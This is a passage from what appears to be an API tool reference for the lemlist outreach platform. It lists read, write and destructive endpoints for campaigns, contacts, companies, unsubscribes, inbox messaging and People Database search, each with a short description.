contact) before deleting the company. **No CRM-side propagation:** only the lemlist record is removed. Designed for the contact-to-company remapping workflow: after reassigning the contacts of a duplicate company to the canonical one (via `POST /contacts/{idOrEmail}`), call this endpoint to drop the now-empty duplicate. via DELETE /companies/{companyId} DELETE /api/v1/lemlist/companies/{companyId}. Scopes: api. lemlist_delete_contacts_by_idoremail (write, destructive) — Deletes a lemlist contact resolved by its id (`ctc_xxx`) or email. Cascades to the contact's leads, opportunities, list associations, inbox conversations and activities. **No CRM-side propagation** — only the lemlist record is removed. Fails with `409 CONTACT_DELETE_BLOCKED` when the contact cannot be deleted right now — for example while an enrichment is still running (retry once it finishes); the response `error.message` states the specific reason. via DELETE /contacts/{idOrEmail} DELETE /api/v1/lemlist/contacts/{idOrEmail}. Scopes: api. lemlist_delete_database_personas_by_personaid (write, destructive) — Permanently deletes one of your team's personas. There is no undo. An unknown id, a persona belonging to another team, and the persona lemlist auto-generates from your AI business context all answer the same `404`: they are indistinguishable by design. This endpoint is in closed beta and answers `403` unless the beta is enabled for your team. via DELETE /database/personas/{personaId} DELETE /api/v1/lemlist/database/personas/{personaId}. Scopes: api. lemlist_delete_deliverability_alerts_by_alertid (write, destructive) — Delete Deliverability Alert via DELETE /deliverability/alerts/{alertId} DELETE /api/v1/lemlist/deliverability/alerts/{alertId}. Scopes: api. lemlist_delete_hooks_by_hookid (write, destructive) — Delete Webhook via DELETE /hooks/{hookId} DELETE /api/v1/lemlist/hooks/{hookId}. Scopes: api. lemlist_delete_inbox_by_contactid_drafts_by_draftid (write, destructive) — Soft-deletes a draft by setting its deletedAt timestamp. via DELETE /inbox/{contactId}/drafts/{draftId} DELETE /api/v1/lemlist/inbox/{contactId}/drafts/{draftId}. Scopes: api. lemlist_delete_inbox_conversations_labels_by_contactid (write, destructive) — Removes one or more labels from one conversation. via DELETE /inbox/conversations/labels/{contactId} DELETE /api/v1/lemlist/inbox/conversations/labels/{contactId}. Scopes: api. lemlist_delete_leads_by_leadid_variables (write, destructive) — Erases the values of custom variables on a lead. via DELETE /leads/{leadId}/variables DELETE /api/v1/lemlist/leads/{leadId}/variables. Scopes: api. lemlist_delete_schedules_by_scheduleid (write, destructive) — Delete Schedule via DELETE /schedules/{scheduleId} DELETE /api/v1/lemlist/schedules/{scheduleId}. Scopes: api. lemlist_delete_sequences_by_sequenceid_steps_by_stepid (write, destructive) — Delete Sequence Step via DELETE /sequences/{sequenceId}/steps/{stepId} DELETE /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}. Scopes: api. lemlist_delete_sequences_by_sequenceid_steps_by_stepid_ab_test (write, destructive) — Deletes a variant of the A/B test and ends the test. Deleting `B` (default) drops variant B; deleting `A` promotes variant B to A. Requires the Email Pro plan. via DELETE /sequences/{sequenceId}/steps/{stepId}/ab-test DELETE /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/ab-test. Scopes: api. lemlist_delete_sequences_by_sequenceid_steps_by_stepid_branches_by_branchsequenceid (write, destructive) — Removes a branch and the whole sub-tree behind it - the branch's own sub-sequence, and every sequence only reachable through it. `removedSequenceIds` lists what was deleted alongside the branch entry; a sequence another step still points at is left alone. A step keeps at least one branch besides Else, and the Else branch itself is never removable. Removal is refused once leads have entered the campaign, and again while any lead sits anywhere inside the sub-tree. via DELETE /sequences/{sequenceId}/steps/{stepId}/branches/{branchSequenceId} DELETE /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/branches/{branchSequenceId}. Scopes: api. lemlist_delete_unsubscribes_by_email (write, destructive) — (deprecated) Delete Unsubscribe Email via DELETE /unsubscribes/{email} DELETE /api/v1/lemlist/unsubscribes/{email}. Scopes: api. lemlist_delete_user_email_accounts_by_emailaccountid (write, destructive) — Disconnect Email Account via DELETE /user/email-accounts/{emailAccountId} DELETE /api/v1/lemlist/user/email-accounts/{emailAccountId}. Scopes: api. lemlist_delete_v2_unsubscribes_contacts_by_contactid (write, destructive) — Removes the unsubscribed (do-not-contact) flag from a contact. via DELETE /v2/unsubscribes/contacts/{contactId} DELETE /api/v1/lemlist/v2/unsubscribes/contacts/{contactId}. Scopes: api. lemlist_delete_v2_unsubscribes_variables_by_value (write, destructive) — Removes a variable from the unsubscribe list. Variables with a protected source (LEAD or ABUSE) cannot be re-subscribed. via DELETE /v2/unsubscribes/variables/{value} DELETE /api/v1/lemlist/v2/unsubscribes/variables/{value}. Scopes: api. lemlist_delete_watchlist (write, destructive) — Delete Signal Agent via DELETE /watchlist DELETE /api/v1/lemlist/watchlist. Scopes: api. lemlist_get_activities (read) — Get Many Activities via GET /activities GET /api/v1/lemlist/activities. Scopes: api. lemlist_get_campaigns (read) — Get Many Campaigns via GET /campaigns GET /api/v1/lemlist/campaigns. Scopes: api. lemlist_get_campaigns_by_campaignid (read) — Get Campaign via GET /campaigns/{campaignId} GET /api/v1/lemlist/campaigns/{campaignId}. Scopes: api. lemlist_get_campaigns_by_campaignid_export_by_exportid_status (read) — Check the status of an asynchronous campaign export. via GET /campaigns/{campaignId}/export/{exportId}/status GET /api/v1/lemlist/campaigns/{campaignId}/export/{exportId}/status. Scopes: api. lemlist_get_campaigns_by_campaignid_export_leads (read) — (deprecated) Export leads from a campaign with filtering options. Returns leads in CSV or JSON format based on their state (e.g., contacted, interested, replied, etc.). via GET /campaigns/{campaignId}/export/leads GET /api/v1/lemlist/campaigns/{campaignId}/export/leads. Scopes: api. lemlist_get_campaigns_by_campaignid_export_start (read) — Start an asynchronous export of all campaign statistics. The final export result is a CSV file. via GET /campaigns/{campaignId}/export/start GET /api/v1/lemlist/campaigns/{campaignId}/export/start. Scopes: api. lemlist_get_campaigns_by_campaignid_leads (read) — Get Campaign Leads via GET /campaigns/{campaignId}/leads GET /api/v1/lemlist/campaigns/{campaignId}/leads. Scopes: api. lemlist_get_campaigns_by_campaignid_schedules (read) — Get Campaign Schedules via GET /campaigns/{campaignId}/schedules GET /api/v1/lemlist/campaigns/{campaignId}/schedules. Scopes: api. lemlist_get_campaigns_by_campaignid_sequences (read) — Get Campaign Sequences via GET /campaigns/{campaignId}/sequences GET /api/v1/lemlist/campaigns/{campaignId}/sequences. Scopes: api. lemlist_get_campaigns_by_campaignid_statutes (read) — Retrieves validation statutes for a campaign, including errors that block launching and warnings about daily limits, DNS issues, etc. Uses the same validation engine as the lemlist UI. via GET /campaigns/{campaignId}/statutes GET /api/v1/lemlist/campaigns/{campaignId}/statutes. Scopes: api. lemlist_get_campaigns_reports (read) — Retrieve reports for one or multiple campaigns. Returns aggregated statistics and export status for the specified campaigns. via GET /campaigns/reports GET /api/v1/lemlist/campaigns/reports. Scopes: api. lemlist_get_companies (read) — Get Many Companies via GET /companies GET /api/v1/lemlist/companies. Scopes: api. lemlist_get_companies_by_companyid_notes (read) — Get Company Notes via GET /companies/{companyId}/notes GET /api/v1/lemlist/companies/{companyId}/notes. Scopes: api. lemlist_get_contact_sourcing (read) — Reads one contact-sourcing run — by its own id, or the latest run of an account. The HTTP status carries the run state: `200` the run completed and `contacts` is filled, `202` the run is still queued or going (poll again), `400` the run failed and `error` says why, `404` no such run. Exactly one of `runId` or `companyId` is required. via GET /contact-sourcing GET /api/v1/lemlist/contact-sourcing. Scopes: api. lemlist_get_contacts (read) — Retrieves contacts by IDs/emails, or searches/lists contacts by name, email, contact list, campaign membership, or company link. When using `idsOrEmails`, returns an array of matching contacts directly. When using `search`, `email`, `listId`, `notInAnyCampaign`, any of the `company*` filters, or no filter at all, returns a paginated response with `data`, `total`, `limit`, and `offset` fields. You can combine filters together to narrow results (e.g. `listId` with `search`, or `notInAnyCampaign` with `companyId`). Calling the endpoint without any filter returns all contacts of the team, paginated. The `company*` filters (`companyId`, `companyDomain`, `companyLinkedinUrl`, `companySalesnavUrl`) are mutually exclusive — use only one at a time. `companyDomain` / `companyLinkedinUrl` / `companySalesnavUrl` are resolved to a `companyId` through the Companies collection; if no matching company exists, the endpoint returns an empty list with `total: 0` (not an error), which keeps automation flows simple. via GET /contacts GET /api/v1/lemlist/contacts. Scopes: api. lemlist_get_contacts_by_idoremail (read) — Get Contact via GET /contacts/{idOrEmail} GET /api/v1/lemlist/contacts/{idOrEmail}. Scopes: api. lemlist_get_contacts_export (read) — Exports contacts or companies from a CRM list as a CSV file. The response is streamed as `text/csv` with a `Content-Disposition: attachment` header. The exported columns depend on the `entity` type: - **contact**: firstName, lastName, email, linkedinUrl, companyName, jobTitle, phone, status, owner, campaigns, contactLists, and more. - **company**: name, domain, linkedinUrl, industry, website, status, size, owner, numberOfContacts, companyLists, and more. Custom fields are included as additional columns. via GET /contacts/export GET /api/v1/lemlist/contacts/export. Scopes: api. lemlist_get_contacts_lists (read) — Retrieves all static and dynamic contact lists for the team. Optionally filter by name. via GET /contacts/lists GET /api/v1/lemlist/contacts/lists. Scopes: api. lemlist_get_crm_filters (read) — Get CRM Filters via GET /crm/filters GET /api/v1/lemlist/crm/filters. Scopes: api. lemlist_get_database_filters (read) — Get Database Filters via GET /database/filters GET /api/v1/lemlist/database/filters. Scopes: api. lemlist_get_database_personas (read) — Lists the personas saved by your team. A persona is a named, reusable set of People Database filters; its id can then be referenced elsewhere in the API, for example through the `persona` filter of a Signal Agent. Personas are team-shared: every member sees the same list. Results are sorted by creation date, most recent first, and capped at 200. The auto-generated persona lemlist derives from your AI business context is never returned; only the personas your team created are. This endpoint is in closed beta and answers `403` unless the beta is enabled for your team. via GET /database/personas GET /api/v1/lemlist/database/personas. Scopes: api. lemlist_get_deliverability_alerts (read) — List Deliverability Alerts via GET /deliverability/alerts GET /api/v1/lemlist/deliverability/alerts. Scopes: api. lemlist_get_deliverability_alerts_by_alertid (read) — Get Deliverability Alert via GET /deliverability/alerts/{alertId} GET /api/v1/lemlist/deliverability/alerts/{alertId}. Scopes: api. lemlist_get_enrich_by_enrichid (read) — Get Enrichment Result via GET /enrich/{enrichId} GET /api/v1/lemlist/enrich/{enrichId}. Scopes: api. lemlist_get_fields (read) — List Fields via GET /fields GET /api/v1/lemlist/fields. Scopes: api. lemlist_get_hooks (read) — Get Many Webhooks via GET /hooks GET /api/v1/lemlist/hooks. Scopes: api. lemlist_get_inbox (read) — Get Many Inboxes via GET /inbox GET /api/v1/lemlist/inbox. Scopes: api. lemlist_get_inbox_by_contactid (read) — Get Contact Messages via GET /inbox/{contactId} GET /api/v1/lemlist/inbox/{contactId}. Scopes: api. lemlist_get_inbox_by_contactid_drafts (read) — Lists all non-deleted drafts for a specific contact. via GET /inbox/{contactId}/drafts GET /api/v1/lemlist/inbox/{contactId}/drafts. Scopes: api. lemlist_get_inbox_by_contactid_drafts_by_draftid (read) — Retrieves a single draft with its full content, including attachments. via GET /inbox/{contactId}/drafts/{draftId} GET /api/v1/lemlist/inbox/{contactId}/drafts/{draftId}. Scopes: api. lemlist_get_inbox_labels (read) — List all labels available to your team. via GET /inbox/labels GET /api/v1/lemlist/inbox/labels. Scopes: api. lemlist_get_inbox_labels_by_labelid (read) — Get info of a specific label. via GET /inbox/labels/{labelId} GET /api/v1/lemlist/inbox/labels/{labelId}. Scopes: api. lemlist_get_leads (read) — Retrieve a lead using either their email address or lead ID via GET /leads GET /api/v1/lemlist/leads. Scopes: api. lemlist_get_leads_by_email (read) — Get Lead by Email via GET /leads/{email} GET /api/v1/lemlist/leads/{email}. Scopes: api. lemlist_get_lemwarm_by_usermailboxid_settings (read) — Get lemwarm Settings via GET /lemwarm/{userMailboxId}/settings GET /api/v1/lemlist/lemwarm/{userMailboxId}/settings. Scopes: api. lemlist_get_schedules (read) — Get Many Schedules via GET /schedules GET /api/v1/lemlist/schedules. Scopes: api. lemlist_get_schedules_by_scheduleid (read) — Get Schedule via GET /schedules/{scheduleId} GET /api/v1/lemlist/schedules/{scheduleId}. Scopes: api. lemlist_get_sequences_by_sequenceid_steps_by_stepid_ab_test (read) — Returns variant B (subject, message, config) of the A/B test on a step. Requires the Email Pro plan. via GET /sequences/{sequenceId}/steps/{stepId}/ab-test GET /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/ab-test. Scopes: api. lemlist_get_sequences_by_sequenceid_steps_by_stepid_branches (read) — Every branch of a condition step, in execution order, with the Else branch last. A condition step holds an ordered list of branches, each owning the sub-sequence the leads it matches walk into. Array order is execution priority: the first branch whose test matches takes the lead, and the Else branch at the end catches everyone no branch matched. A branch is addressed by its `sequenceId`, never by position - a reorder moves positions, the sub-sequence id is what the runtime routes leads to. Reading branches is not gated; only the writes are in closed beta. via GET /sequences/{sequenceId}/steps/{stepId}/branches GET /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/branches. Scopes: api. lemlist_get_tasks (read) — Retrieve tasks with optional filtering and pagination. Tasks marked as `done` are excluded from results. via GET /tasks GET /api/v1/lemlist/tasks. Scopes: api. lemlist_get_team (read) — Get Team via GET /team GET /api/v1/lemlist/team. Scopes: api. lemlist_get_team_credits (read) — Get Team Credits via GET /team/credits GET /api/v1/lemlist/team/credits. Scopes: api. lemlist_get_team_crmusers (read) — Get Team CRM Users via GET /team/crmUsers GET /api/v1/lemlist/team/crmUsers. Scopes: api. lemlist_get_team_senders (read) — Get Team Senders via GET /team/senders GET /api/v1/lemlist/team/senders. Scopes: api. lemlist_get_unsubs_export (read) — (deprecated) Export Unsubscribes via GET /unsubs/export GET /api/v1/lemlist/unsubs/export. Scopes: api. lemlist_get_unsubscribes (read) — (deprecated) Get Many Unsubscribes via GET /unsubscribes GET /api/v1/lemlist/unsubscribes. Scopes: api. lemlist_get_unsubscribes_by_email (read) — (deprecated) Get Unsubscribe by Email via GET /unsubscribes/{email} GET /api/v1/lemlist/unsubscribes/{email}. Scopes: api. lemlist_get_user_channels (read) — Get User Channels via GET /user/channels GET /api/v1/lemlist/user/channels. Scopes: api. lemlist_get_users_by_userid (read) — Get User via GET /users/{userId} GET /api/v1/lemlist/users/{userId}. Scopes: api. lemlist_get_v2_campaigns_by_campaignid_export_leads (read) — Export leads from a campaign with filtering options. Returns leads in CSV or JSON format based on their state (e.g., contacted, interested, replied, etc.). via GET /v2/campaigns/{campaignId}/export/leads GET /api/v1/lemlist/v2/campaigns/{campaignId}/export/leads. Scopes: api. lemlist_get_v2_campaigns_by_campaignid_stats (read) — Retrieve detailed statistics for a specific campaign, with filtering options by date, user, A/B testing, and communication channels. via GET /v2/campaigns/{campaignId}/stats GET /api/v1/lemlist/v2/campaigns/{campaignId}/stats. Scopes: api. lemlist_get_v2_unsubscribes_contacts_by_contactid (read) — Checks whether a contact is unsubscribed (do-not-contact). via GET /v2/unsubscribes/contacts/{contactId} GET /api/v1/lemlist/v2/unsubscribes/contacts/{contactId}. Scopes: api. lemlist_get_v2_unsubscribes_exports_contacts (read) — Exports all contacts with their subscription status to a CSV file. via GET /v2/unsubscribes/exports/contacts GET /api/v1/lemlist/v2/unsubscribes/exports/contacts. Scopes: api. lemlist_get_v2_unsubscribes_exports_variables (read) — Exports all unsubscribed variables to a CSV file. via GET /v2/unsubscribes/exports/variables GET /api/v1/lemlist/v2/unsubscribes/exports/variables. Scopes: api. lemlist_get_v2_unsubscribes_variables (read) — Retrieves a paginated list of all unsubscribed variables (emails, domains, LinkedIn URLs, phone numbers). via GET /v2/unsubscribes/variables GET /api/v1/lemlist/v2/unsubscribes/variables. Scopes: api. lemlist_get_v2_unsubscribes_variables_by_value (read) — Retrieves a specific unsubscribed variable by its value. via GET /v2/unsubscribes/variables/{value} GET /api/v1/lemlist/v2/unsubscribes/variables/{value}. Scopes: api. lemlist_get_watchlist (read) — List Signal Agents via GET /watchlist GET /api/v1/lemlist/watchlist. Scopes: api. lemlist_get_watchlist_filter_values (read) — Autocomplete filter values via GET /watchlist/filter-values GET /api/v1/lemlist/watchlist/filter-values. Scopes: api. lemlist_get_watchlist_filters (read) — List allowed filters per signal type via GET /watchlist/filters GET /api/v1/lemlist/watchlist/filters. Scopes: api. lemlist_get_watchlist_history (read) — Get Signal Agent configuration history via GET /watchlist/history GET /api/v1/lemlist/watchlist/history. Scopes: api. lemlist_get_watchlist_library (read) — List available signal types via GET /watchlist/library GET /api/v1/lemlist/watchlist/library. Scopes: api. lemlist_get_watchlist_signals (read) — Get Signal Agent signals via GET /watchlist/signals GET /api/v1/lemlist/watchlist/signals. Scopes: api. lemlist_patch_campaigns_by_campaignid (write) — Update Campaign via PATCH /campaigns/{campaignId} PATCH /api/v1/lemlist/campaigns/{campaignId}. Scopes: api. lemlist_patch_campaigns_by_campaignid_leads_by_leadid (write) — Update Lead in a Campaign via PATCH /campaigns/{campaignId}/leads/{leadId} PATCH /api/v1/lemlist/campaigns/{campaignId}/leads/{leadId}. Scopes: api. lemlist_patch_deliverability_alerts_by_alertid (write) — Update Deliverability Alert via PATCH /deliverability/alerts/{alertId} PATCH /api/v1/lemlist/deliverability/alerts/{alertId}. Scopes: api. lemlist_patch_inbox_by_contactid_drafts_by_draftid (write) — Partially updates an existing draft. Only the provided fields will be updated. via PATCH /inbox/{contactId}/drafts/{draftId} PATCH /api/v1/lemlist/inbox/{contactId}/drafts/{draftId}. Scopes: api. lemlist_patch_leads_by_leadid_variables (write) — Update values of custom variables for a lead. via PATCH /leads/{leadId}/variables PATCH /api/v1/lemlist/leads/{leadId}/variables. Scopes: api. lemlist_patch_lemwarm_by_usermailboxid_settings (write) — Update lemwarm Settings via PATCH /lemwarm/{userMailboxId}/settings PATCH /api/v1/lemlist/lemwarm/{userMailboxId}/settings. Scopes: api. lemlist_patch_schedules_by_scheduleid (write) — Update Schedule via PATCH /schedules/{scheduleId} PATCH /api/v1/lemlist/schedules/{scheduleId}. Scopes: api. lemlist_patch_sequences_by_sequenceid_steps_by_stepid (write) — Update Sequence Step via PATCH /sequences/{sequenceId}/steps/{stepId} PATCH /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}. Scopes: api. lemlist_patch_sequences_by_sequenceid_steps_by_stepid_ab_test (write) — Edits variant B content/config of the A/B test on a step. Only the provided fields are updated; unknown fields are rejected. Allowed while the campaign is running. Requires the Email Pro plan. via PATCH /sequences/{sequenceId}/steps/{stepId}/ab-test PATCH /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/ab-test. Scopes: api. lemlist_patch_sequences_by_sequenceid_steps_by_stepid_branches (write) — Rewrites the execution priority of a condition step's branches. Order is priority: the first branch whose test matches takes the lead. `order` must list every non-fallback branch of the step exactly once. The Else branch is not orderable and always stays last, so it is left out of the list. Sending the order the step already has is a no-op that still returns the branches. via PATCH /sequences/{sequenceId}/steps/{stepId}/branches PATCH /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/branches. Scopes: api. lemlist_patch_sequences_by_sequenceid_steps_by_stepid_branches_by_branchsequenceid (write) — Renames a branch and/or changes what it tests. Send only the halves you want to change. The two halves are gated differently once leads have entered the campaign: a rename still goes through, while re-selecting what the branch tests is refused with `409`. A body that does both on a running campaign is refused whole - the request is atomic, so the rename does not land either. Send the rename on its own if that is what you need. `conditionKey` is refused: every branch of a step shares the step's condition. The Else branch is neither renamable nor editable. via PATCH /sequences/{sequenceId}/steps/{stepId}/branches/{branchSequenceId} PATCH /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/branches/{branchSequenceId}. Scopes: api. lemlist_patch_tasks (write) — Update task details such as assignment, due date, title, message, priority, or completion status. via PATCH /tasks PATCH /api/v1/lemlist/tasks. Scopes: api. lemlist_patch_watchlist (write) — Update Signal Agent via PATCH /watchlist PATCH /api/v1/lemlist/watchlist. Scopes: api. lemlist_post_campaigns (write) — Create Campaign via POST /campaigns POST /api/v1/lemlist/campaigns. Scopes: api. lemlist_post_campaigns_by_campaignid_duplicate (write) — Duplicate Campaign via POST /campaigns/{campaignId}/duplicate POST /api/v1/lemlist/campaigns/{campaignId}/duplicate. Scopes: api. lemlist_post_campaigns_by_campaignid_leads (write) — Create Lead in Campaign via POST /campaigns/{campaignId}/leads POST /api/v1/lemlist/campaigns/{campaignId}/leads. Scopes: api. lemlist_post_campaigns_by_campaignid_leads_by_leadidoremail_interested (write) — Mark Lead as Interested in Campaign via POST /campaigns/{campaignId}/leads/{leadIdOrEmail}/interested POST /api/v1/lemlist/campaigns/{campaignId}/leads/{leadIdOrEmail}/interested. Scopes: api. lemlist_post_campaigns_by_campaignid_leads_by_leadidoremail_notinterested (write) — Mark Lead as Not Interested in Campaign via POST /campaigns/{campaignId}/leads/{leadIdOrEmail}/notinterested POST /api/v1/lemlist/campaigns/{campaignId}/leads/{leadIdOrEmail}/notinterested. Scopes: api. lemlist_post_campaigns_by_campaignid_leads_by_leadidoremail_steps_by_stepid_skip (write) — Skip one step of a running campaign for a single lead. Cannot be undone. via POST /campaigns/{campaignId}/leads/{leadIdOrEmail}/steps/{stepId}/skip POST /api/v1/lemlist/campaigns/{campaignId}/leads/{leadIdOrEmail}/steps/{stepId}/skip. Scopes: api. lemlist_post_campaigns_by_campaignid_leads_import (write) — Import Leads from CRM via POST /campaigns/{campaignId}/leads/import POST /api/v1/lemlist/campaigns/{campaignId}/leads/import. Scopes: api. lemlist_post_campaigns_by_campaignid_pause (write) — Pause Campaign via POST /campaigns/{campaignId}/pause POST /api/v1/lemlist/campaigns/{campaignId}/pause. Scopes: api. lemlist_post_campaigns_by_campaignid_schedules_by_scheduleid (write) — Associate Schedule with Campaign via POST /campaigns/{campaignId}/schedules/{scheduleId} POST /api/v1/lemlist/campaigns/{campaignId}/schedules/{scheduleId}. Scopes: api. lemlist_post_campaigns_by_campaignid_start (write) — Start Campaign via POST /campaigns/{campaignId}/start POST /api/v1/lemlist/campaigns/{campaignId}/start. Scopes: api. lemlist_post_campaigns_by_campaignid_steps_by_stepid_skip (write) — Skip one step of a running campaign for every lead. Cannot be undone. via POST /campaigns/{campaignId}/steps/{stepId}/skip POST /api/v1/lemlist/campaigns/{campaignId}/steps/{stepId}/skip. Scopes: api. lemlist_post_companies (write) — Creates a new company or updates an existing one (upsert). If a company with the same domain, LinkedIn URL, or Sales Navigator URL already exists, it will be updated with the provided non-empty fields. Null or empty values are ignored during updates to preserve existing data. You can target an existing company directly by providing `companyId`, bypassing domain/LinkedIn matching — in that case `name` and `domain` become optional. via POST /companies POST /api/v1/lemlist/companies. Scopes: api. lemlist_post_companies_by_companyid_notes (write) — Create Company Note via POST /companies/{companyId}/notes POST /api/v1/lemlist/companies/{companyId}/notes. Scopes: api. lemlist_post_companies_merge (write) — Merges up to 10 lemlist companies into one. The survivor (`primaryId`) keeps its id and every value it holds; its empty fields are filled from the other companies, which are then deleted. Everything attached to a deleted company (contacts, activities, tasks, list memberships) is moved to the survivor. When a CRM is connected, the survivor keeps its CRM link (or adopts the first linked record's when it has none) and receives the merged values there; lemlist never merges or deletes anything in the CRM itself, so the other records' CRM entries stay in the CRM, unlinked from lemlist — merge them CRM-side too, or a CRM import may recreate the duplicate. The companies are folded into the survivor one at a time and the run **stops at the first failure**: `mergedIds` lists what went through, `remainingIds` what still exists. A first-fold failure returns an error instead — nothing was written. **No undo:** deleted companies are gone. via POST /companies/merge POST /api/v1/lemlist/companies/merge. Scopes: api. lemlist_post_contact_sourcing (write) — Starts an AI contact-sourcing run for one or more accounts: sources each company's employees from the People Database and classifies them into a buying committee (decision maker / user / influencer) with an ICP fit score. One account or two hundred, same call — pass a list of one. Runs are asynchronous: the response carries a `runId` per account. Poll `GET /contact-sourcing` or subscribe to the `contactSourcingDone` webhook for the result. The call answers `200` even when some accounts could not be started — one unrunnable account among 200 is not a reason to fail the rest. Read both `results` and `errors`. By default an account that already has a committee is not re-run: its previous run comes back with `status: "reused"` and nothing is charged. `overwrite: true` forces a fresh run, but never stacks a second one on a run still going — that one is returned as `reused` instead, so retrying a timed-out request cannot charge you twice. Takes lemlist company ids only. To start from a domain or LinkedIn URL, resolve it first with `GET /companies?idsOrDomains=`. via POST /contact-sourcing POST /api/v1/lemlist/contact-sourcing. Scopes: api. lemlist_post_contact_sourcing_contacts (write) — Turns one contact-sourcing recommendation into a lemlist contact. `leadId` comes from a run's `contacts[].leadId` — a People-Database id, not a contact id. `companyId` is required and verified: if the person's profile now puts them at a different company, the contact is not filed under the account asked for and the call answers 409. via POST /contact-sourcing/contacts POST /api/v1/lemlist/contact-sourcing/contacts. Scopes: api. lemlist_post_contacts (write) — Creates a new contact or updates an existing one (upsert). If a contact with the same email, LinkedIn URL, or Sales Navigator URL already exists, it will be updated with the provided non-empty fields. Null or empty values are ignored during updates to preserve existing data. You can target an existing contact directly by providing `contactId`, bypassing email/LinkedIn matching. You can optionally link the contact to a company by providing `companyId`, `companyDomain`, or `companyLinkedinUrl`. via POST /contacts POST /api/v1/lemlist/contacts. Scopes: api. lemlist_post_contacts_lists (write) — Creates a new static contact list. After creating the list, use `POST /contacts/lists/{listId}/entities` to add contacts to it. via POST /contacts/lists POST /api/v1/lemlist/contacts/lists. Scopes: api. lemlist_post_contacts_lists_by_listid_entities (write) — Adds existing CRM contacts to a static contact list, or removes them when `?action=remove` is set. - **Add** (default): send a `POST` with a `contactIds` body. Contacts already in the list are silently skipped (no duplicates) and reported in `alreadyInList`. - **Remove**: send a `POST` with `?action=remove` and a `contactIds` body. Contacts that are not in the list are silently skipped; `removedCount` reflects the associations actually removed. This only affects list membership, the contacts are not deleted from your CRM. The list must be a **static** contact list (`clt_xxx`). Dynamic lists (auto-populated by filter rules) and company lists are rejected. **Removal uses `POST ?action=remove` on purpose:** a `DELETE` request body is dropped by our stack, so `DELETE` on this path is **not supported** and returns `405 Method Not Allowed`. via POST /contacts/lists/{listId}/entities POST /api/v1/lemlist/contacts/lists/{listId}/entities. Scopes: api. lemlist_post_contacts_merge (write) — Merges up to 10 lemlist contacts into one. The survivor (`primaryId`) keeps its id and every value it holds; its empty fields are filled from the other contacts, which are then deleted. Everything attached to a deleted contact (leads in campaigns, activities, tasks, list memberships, inbox conversations) is moved to the survivor. When a CRM is connected, the survivor keeps its CRM link (or adopts the first linked record's when it has none) and receives the merged values there; lemlist never merges or deletes anything in the CRM itself, so the other records' CRM entries stay in the CRM, unlinked from lemlist — merge them CRM-side too, or a CRM import may recreate the duplicate. The contacts are folded into the survivor one at a time and the run **stops at the first failure**: `mergedIds` lists what went through, `remainingIds` what still exists. A first-fold failure returns an error instead — nothing was written. **Email addresses:** the survivor keeps its own; a loser's addresses are dropped, unless the survivor has none (then it takes the first loser's). **No undo:** deleted contacts are gone. via POST /contacts/merge POST /api/v1/lemlist/contacts/merge. Scopes: api. lemlist_post_database_companies (write) — Search the lemlist Companies database using structured filters with pagination support. Returns comprehensive company data including technologies used, location, employee count, and other business intelligence. via POST /database/companies POST /api/v1/lemlist/database/companies. Scopes: api. lemlist_post_database_people (write) — This endpoint allows you to query our People database. To do so, you may use the following parameters: filters (required), page (optional), size (optional), and excludes (optional). Each filter should have the following properties: filterId (filter identifier), in (list of the values you want to include), and out (list of the values you want to exclude). To know which filters you are able to use, refer to the GET Filters section. The `department` filter accepts the following values: `Sales`, `Customer service`, `Engineering`, `Marketing`, `Operations`, `Human Resources`, `Finance / Legal / Admin`, `Other`. via POST /database/people POST /api/v1/lemlist/database/people. Scopes: api. lemlist_post_database_personas (write) — Creates a persona for your team from a name and a set of People Database filters. Use [Get Database Filters](/api-reference/endpoints/people-database/get-database-filters) to discover the valid `filterId` values. Filters carry no `type` property: it is derived from `filterId` server-side. Filters that require a plan your team does not have are dropped silently, so the persona is stored with the subset your plan allows. Only the created id is returned. The stored `name` and `filters` are sanitized and plan-gated server-side, so echoing the request payload back would misreport what was persisted; call [List Personas](/api-reference/endpoints/people-database/list-personas) to read the stored persona. This endpoint is in closed beta and answers `403` unless the beta is enabled for your team. via POST /database/personas POST /api/v1/lemlist/database/personas. Scopes: api. lemlist_post_deliverability_alerts (write) — Create Deliverability Alert via POST /deliverability/alerts POST /api/v1/lemlist/deliverability/alerts. Scopes: api. lemlist_post_enrich (write) — Enrich Data via POST /enrich POST /api/v1/lemlist/enrich. Scopes: api. lemlist_post_hooks (write) — Add Webhook via POST /hooks POST /api/v1/lemlist/hooks. Scopes: api. lemlist_post_inbox_by_contactid_drafts (write) — Creates a new draft for a specific contact. The source is automatically set to "api". via POST /inbox/{contactId}/drafts POST /api/v1/lemlist/inbox/{contactId}/drafts. Scopes: api. lemlist_post_inbox_conversations_labels_by_contactid (write) — Attaches one or more labels to one or more conversations. via POST /inbox/conversations/labels/{contactId} POST /api/v1/lemlist/inbox/conversations/labels/{contactId}. Scopes: api. lemlist_post_inbox_email (write) — Send Email via POST /inbox/email POST /api/v1/lemlist/inbox/email. Scopes: api. lemlist_post_inbox_labels (write) — Creates a new label available to the team. via POST /inbox/labels POST /api/v1/lemlist/inbox/labels. Scopes: api. lemlist_post_inbox_linkedin (write) — Send LinkedIn Message via POST /inbox/linkedin POST /api/v1/lemlist/inbox/linkedin. Scopes: api. lemlist_post_inbox_sms (write) — Sends an SMS to a contact through the lemlist inbox. The message is sent to the contact's phone number (`phone` field, or the first entry of `phones`). Sending consumes SMS credits, one per message segment. via POST /inbox/sms POST /api/v1/lemlist/inbox/sms. Scopes: api. lemlist_post_inbox_whatsapp (write) — Send WhatsApp Message via POST /inbox/whatsapp POST /api/v1/lemlist/inbox/whatsapp. Scopes: api. lemlist_post_leads_by_leadid_enrich (write) — Enrich Lead via POST /leads/{leadId}/enrich POST /api/v1/lemlist/leads/{leadId}/enrich. Scopes: api. lemlist_post_leads_by_leadid_variables (write) — Add custom variables to a lead and sets values for that specific lead. via POST /leads/{leadId}/variables POST /api/v1/lemlist/leads/{leadId}/variables. Scopes: api. lemlist_post_leads_interested_by_leadidoremail (write) — Mark a lead as interested across all campaigns via POST /leads/interested/{leadIdOrEmail} POST /api/v1/lemlist/leads/interested/{leadIdOrEmail}. Scopes: api. lemlist_post_leads_notinterested_by_leadidoremail (write) — Mark a lead as not interested across all 